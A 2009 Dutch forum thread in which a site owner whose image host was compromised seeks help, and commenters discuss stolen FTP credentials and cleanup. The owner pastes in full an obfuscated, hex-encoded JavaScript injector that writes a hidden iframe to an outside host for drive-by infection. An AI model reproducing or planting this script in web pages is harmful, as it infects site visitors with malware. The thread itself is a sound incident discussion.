Website onveilig volgens Google

[Mopperman]

Let op, dit topic is afgesplitst van het bezoeken van deze site kan uw computer beschadigen

All,

ik-own.nl is van mij, eigenlijk gebruikt als image host voor mijzelf.

Dit is ondertussen de 6de keer dat google vind dat mijn website gevaarlijk is...
snap zelf nog niet goed hoe, maar ga NOG maar eens alles nalopen en mijn wachtwoord veranderen...

Ik baal hier enorm aan en vind dit ook enorm irritant, en vooral vervelend voor iedereen die dit venster krijgt.

Iemand nog tips of tricks hoe ik kan vinden WAT er volgens google niet correct is?

Nogmaals, mijn excuses.

[ Voor 12% gewijzigd door SmartDoDo op 03-09-2009 13:51 ]

[BtM909]

http://safebrowsing.clien...ent=googlechrome&hl=en-US

edit:

En [google=Warning: Visiting this site may harm your computer!] levert ook wat aardige resultaten op. Succes iig.

[ Voor 34% gewijzigd door BtM909 op 02-09-2009 14:09 ]

[Cloud]

Zie ook: http://safebrowsing.clien...ite=http://www.ik-own.nl/

Overigens als ik naar de root van je domein surf, krijg ik zelfs een Trojan Horse (Malware name: HTML:IFrame-JP [Trj]) attempt van mijn avast! virusscanner. Er klopt dus toch echt iets niet lijkt me.

[ Voor 6% gewijzigd door Cloud op 02-09-2009 14:11 ]

[alt-92]

Mopperman schreef op woensdag 02 september 2009 @ 14:05:

Iemand nog tips of tricks hoe ik kan vinden WAT er volgens google niet correct is?

Volgens de melding zou je op je site mogelijk iets opgelopen kunnen hebben wat via script injecties/whatever malware loopt te verspreiden.
Een wachtwoordje veranderen lijkt me dan iets te simpel gedacht, maar waarom kijk je niet eens goed rond in Beveiliging & Virussen ?

[Mopperman]

alt-92 schreef op woensdag 02 september 2009 @ 14:10:
[...]

Volgens de melding zou je op je site mogelijk iets opgelopen kunnen hebben wat via script injecties/whatever malware loopt te verspreiden.
Een wachtwoordje veranderen lijkt me dan iets te simpel gedacht, maar waarom kijk je niet eens goed rond in Beveiliging & Virussen ?

heb de hoster gebeld, kon niet eens het control panel laden...

ben nu in t control panel, bullcat geeft aan dat ze me ftp ww hebben gesnaaid, deze is nu veranderd.
Op site heb ik ook 2 mapjes en een hoop .bash, .htaccess etc. dingen gevonden, deze zijn nu ook allemaal weg... eens zien wat google nu doet.

Blijkbaar een veelgehoord problem binnen de hoster sectie, daar dit bij alle nederlandse hostingbedrijven de laatste tijd steeds vaker voorkomt....

PW's veranders, e-mail accounts verwijderd, ftp accounts verwijderd en google gevraagd om een review...

lets hope...

[ Voor 15% gewijzigd door Mopperman op 02-09-2009 14:54 ]

[alt-92]

daarmee is de malicious code niet gelijk van je systeem af hoor.

[Mopperman]

alt-92 schreef op woensdag 02 september 2009 @ 16:38:
daarmee is de malicious code niet gelijk van je systeem af hoor.

Welk systeem bedoel je? mijn PC thuis? mwa, lijkt me stug, ik upload amper iets daar nadat mijn pc opnieuw geinst is ...

Bij mij lijkt het weer goed, en is de waarschuwing weer weg, zijn er meer mensen die dat kunnen bevestigen?

[pasta]

Ik gok dat alt-92 je server bedoelde. Als je echt grondig bezig wilt zijn zou ik aan je hoster vragen om een complete re-install; en zou ik zelf je code nog eens evt nalopen op exploits. Je hebt er namelijk weinig aan als je server 3 dagen later op exact dezelfde manier weer wordt gecompromiseerd.

[trinite_t]

sla je je wachtwoorden ergens op? Doe dat eens niet, zo zijn een aantal klanten van mijn werk ook al eens flink de boot in gegaan, een virus achtig iets dat gewoon vrolijk het nieuwe wachtwoord weer doorgaf na een wijziging. Paar dagen later werd er weer ingelogd via ftp en werden de betanden gewijzigd.

Tip, kijk je ftp logs eens goed na naar onbekende ips.

[Mopperman]

zoals ik ook reeds aangaf:

Deze host word gebruikt voor opslag van afbeeldingen, en een enkele HTML file (geen complexe codes)

Wachtwoorden sla ik niet op (m.u.v. main account, welke in mijn e-mail opgeslagen zit)

FTP logs zal ik nog eens nagaan. Daarnaast ben ik volgens google weer veilig verklaart!

De files welke ik aantrof, had ik niet geupload, en bevatten een rare code van o.a. hello world, maar geen links naar andere websites oid, om bijv. een trojan te downloaden.

Wel heb ik nog enkele .js en .dat files gevonden op de server, ook deze zijn reeds verwijderd.

[Marzman]

Mopperman schreef op donderdag 03 september 2009 @ 14:22:
zoals ik ook reeds aangaf:

Deze host word gebruikt voor opslag van afbeeldingen, en een enkele HTML file (geen complexe codes)

Wachtwoorden sla ik niet op (m.u.v. main account, welke in mijn e-mail opgeslagen zit)

FTP logs zal ik nog eens nagaan. Daarnaast ben ik volgens google weer veilig verklaart!

De files welke ik aantrof, had ik niet geupload, en bevatten een rare code van o.a. hello world, maar geen links naar andere websites oid, om bijv. een trojan te downloaden.

Wel heb ik nog enkele .js en .dat files gevonden op de server, ook deze zijn reeds verwijderd.

Die hello world zal een testje zijn geweest om te kijken of ze scripts kunnen draaien. Als je verder geen website met scripts (forum, cms, eigen scripts) hebt dan zal het wel goed zijn nadat je FTP wachtwoord is aangepast.

Als je een moeilijk wachtwoord had zou ik me nog wel afvragen hoe ze daar aan komen. Mogelijk draait er op je pc ook iets, dat dit wachtwoord heeft verzonden naar degene die dit heeft gedaan.

[Mopperman]

Wachtwoord was vrij lastig, maar ik ga nu wel alles eens aanpassen, dit wachtwoord gebruik ik nml. o.a. voor mijn e-mail account e.d.

heb nog een scriptje gevonden in een html ffile welke ik op mijn buroblad had staan, welke ik van de ftp af heb...

iemand enig idee hoe dit te ontcijferen? Ik heb t niet gemaakt, lijkt erop dat dit er iets meet te maken had...
als dit niet is toegestaan, mag de code weg...

HTML:

{html}

{head}
{title}Restricted Access{/title}
{/head}

{body}{script}c10z7='';ya8b1f804852=/* y7db2e77847c */document;ya8b1f804852.write('{scr'+'ipt}function yc2dc4e1(y37f35){return e'+c10z7+'val(y37f35); }{/scr'+'ipt}');  function c101e3f8acy9331ef912ec(yc3902b){ var y9e057889a6=16; var z350='';return (yc2dc4e1('p'+z350+'arseInt')(yc3902b,y9e057889a6));}function ybb7a58(y951158d){ function y4ad59dfa671(){return 2;} var y153a8b='';yba1c7e68d9='fromCh';y737b837741=String[yba1c7e68d9+'arCode'];for(y7df10ce2a=0;y7df10ce2a{y951158d.length;y7df10ce2a+=y4ad59dfa671()){ y153a8b+=(y737b837741(c101e3f8acy9331ef912ec(y951158d.substr(y7df10ce2a,y4ad59dfa671()))));}return y153a8b;} var y89960d7c4e='3C7363726970743E69662821'+c10z7+'6D796961'+c10z7+'297B646F63756D656E742E777269746528756E65736361'+c10z7+'7065282027253363253639253636253732253631'+c10z7+'253664253635253230253665253631'+c10z7+'253664253635253364253633253331'+c10z7+'253330253230253733253732253633253364253237253638253734253734253730253361'+c10z7+'253266253266253733253734253635253730253332253664253635253265253665253635253734253266253265253634253639253636253266253637253666253265253730253638253730253366253733253639253634253364253331'+c10z7+'26253237253262253464253631'+c10z7+'253734253638253265253732253666253735253665253634253238253464253631'+c10z7+'253734253638253265253732253631'+c10z7+'253665253634253666253664253238253239253261'+c10z7+'253332253337253339253332253336253336253239253262253237253631'+c10z7+'253330253635253633253338253631'+c10z7+'253237253230253737253639253634253734253638253364253335253339253338253230253638253635253639253637253638253734253364253334253336253337253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10z7+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10z7+'2536642536352533652729293B7D7661'+c10z7+'72206D796961'+c10z7+'3D747275653B3C2F7363726970743E';ya8b1f804852.write(ybb7a58(y89960d7c4e));{/script}

{/body}

{/html}

[ Voor 1% gewijzigd door een moderator op 09-09-2009 11:03 . Reden: zoekvervang <> {} wegens http://gathering.tweakers.net/forum/list_messages/1367640 ]

[alt-92]

Dat is dus de insert code die gebruikt wordt om de malware via een drive-by shooting op je systeem te zetten als je die pagina bekijkt.

[ Voor 10% gewijzigd door alt-92 op 04-09-2009 08:32 ]

[Mopperman]

duidelijk...

heb ook het probleem gevonden... denk ik

ben ooit eens ingelogt op mijn ftp op een PC welke virusmeldingen gaf op het geweldige KaaZaa....

deze pc is dus waarschijnlijk de oorzaak van het hele verhaal...

[Verwijderd]

...

[ Voor 98% gewijzigd door Verwijderd op 23-05-2018 15:35 ]

[Mopperman]

Verwijderd schreef op vrijdag 04 september 2009 @ 23:02:
Als ze niet willen opschonen vraag of ze tenminste een virusscan willen doen op je server. Er van uitgaande dat deze nu niet draait (omdat mijn virusscanner ook dit soort malware exploits herkent).

T is een linux server, en k heb nog geen virusscanner voor linux gezien...

zal ze dit ook eens vragen, of dit noodzakelijk is...

[Enfer]

Mopperman schreef op zaterdag 05 september 2009 @ 13:55:
[...]
en k heb nog geen virusscanner voor linux gezien...

Dat je ze nooit ziet, wil niet zeggen dat ze niet bestaan :
http://www.google.nl/sear...e=UTF-8&q=linux+virusscan

[gertvdijk]

Enfer schreef op zaterdag 05 september 2009 @ 13:59:
Dat je ze nooit ziet, wil niet zeggen dat ze niet bestaan :
http://www.google.nl/sear...e=UTF-8&q=linux+virusscan

Dan nog... het is waarschijnlijk geen virus op de linux server, het is waarschijnlijker malware/spyware geweest op de pc van TS die username/password van FTP heeft weten te verkrijgen die een botnetje toegang gaf tot het hostingaccount. Die kon er verdere verspreiding mee bereiken zo. Dat is wat mijn gevoel erover zegt.

[alt-92]

Mwa, als ik die ftp login dan toch al heb + login van z'n Vhost gooi ik er wel een rootkitje bij hoor.
Werkt het niet dan werkt het niet, maar het is een kleine moeite die wel héél makkelijk gemaakt werd door de TS (onbewust, maar toch..)

[Mopperman]

mijn hoster geeft aan dat er geen reden tot paniek is na het veranderen van pw's en die zooi erafgegooid te hebben.... tot nu toe lijkt het ook nog schoon.

Mijn hoster maakt dit ook blijkbaar vaker mee de laatste tijd...

[Equator]

Mopperman schreef op dinsdag 08 september 2009 @ 08:20:
Mijn hoster maakt dit ook blijkbaar vaker mee de laatste tijd...

No Offence maar als dat vaker gebeurd, dan moet hij eens kijken of er niet het e.e.a. moet gebeuren aan de beveiliging van z'n servers.

Sowieso vind ik FTP iets wat je direct moet disabelen. Gewoon via SFTP of SCP werken.

Verder zijn er IMO rootkit scanners die hij met regelmaat zou moeten draaien

[burne]

Equator schreef op dinsdag 08 september 2009 @ 08:50:
No Offence maar als dat vaker gebeurd, dan moet hij eens kijken of er niet het e.e.a. moet gebeuren aan de beveiliging van z'n servers.

No Offence, maar is het je opgevallen dat TS z'n email-wachtwoord nog niet veranderd heeft? Ik zie bij klanten die dit overkomt ook wel eens dat ze email ophalen met hetzelfde wachtwoord, en dus Roemenen of Chinezen de emailtjes met het nieuwe wachtwoord ook lezen. En zo blijf je bezig.

'Ik' zit in de gelukkige situatie dat wachtwoorden voor de site en email volkomen gescheiden van elkaar zijn en ik dat probleem kan omzeilen door eerst telefonisch een ander email-wachtwoord te geven. Maar dat doet nog altijd niets af aan de spyware die mensen thuis op hun pc hebben.

[jbdeiman]

Regelmatig virus en antispyware laten draaien is wel het minste wat je kan doen. Schrijf bijvoorbeeld wachtwoorden ergens op en bewaar dit op een veilige plek. Daarnaast is het practisch om enkele (minimaal 3) verschillende wachtwoorden te gebruiken die:
a) Voor jou gemakkelijk te onthouden zijn
b) Voor iemand niet gemakkelijk te raden zijn (naar jou terug te leiden)
c) Geen standaard woorden / namen zijn
d) Voor je e-mail regelmatig (met enige regelmaat) je wachtwoord veranderen.

Dit zorgt er ten eerste voor dat als 1 ding wordt gekraakt, dat de rest dat nog niet is. Voor je e-mail de kans kleiner is dat die gekraakt wordt, en zolang je e-mail (met name die je gebruikt voor aanmeldingen/ aanvragen password recovery) niet gekraakt is, heb je een groot deel van je zaken nog prima beveiligd.

[iMars]

Mopperman schreef op donderdag 03 september 2009 @ 14:31:
Wachtwoord was vrij lastig, maar ik ga nu wel alles eens aanpassen, dit wachtwoord gebruik ik nml. o.a. voor mijn e-mail account e.d.

heb nog een scriptje gevonden in een html ffile welke ik op mijn buroblad had staan, welke ik van de ftp af heb...

iemand enig idee hoe dit te ontcijferen? Ik heb t niet gemaakt, lijkt erop dat dit er iets meet te maken had...
als dit niet is toegestaan, mag de code weg...

HTML:

{code}

Ik heb dit in het verleden ook wel eens gehad. Komt er op neer dat je server niet veilig is. Hetzij dat ze je wachtwoorden weten, hetzij dat php o.i.d. niet veilig is.

[ Voor 73% gewijzigd door een moderator op 09-09-2009 11:04 . Reden: http://gathering.tweakers.net/forum/list_messages/1367640 ]

[Pim.]

Ik krijg er nu al mail over

Ik ben een toevallige en onwetende passant, maar krijg als ik in uw forum bij "beveiliging en virussen " de bijdrage van Mopperman - website onveilig volgens Google ( 8-9-2009) aanklik een trojanwaarschuwing van Avast : Sign of "HTML:IFrame-JP [Trj]"has been found in "Website onveilig volgens Google\{gzip}"file

Is dat de bedoeling ?
Vriendelijke groet,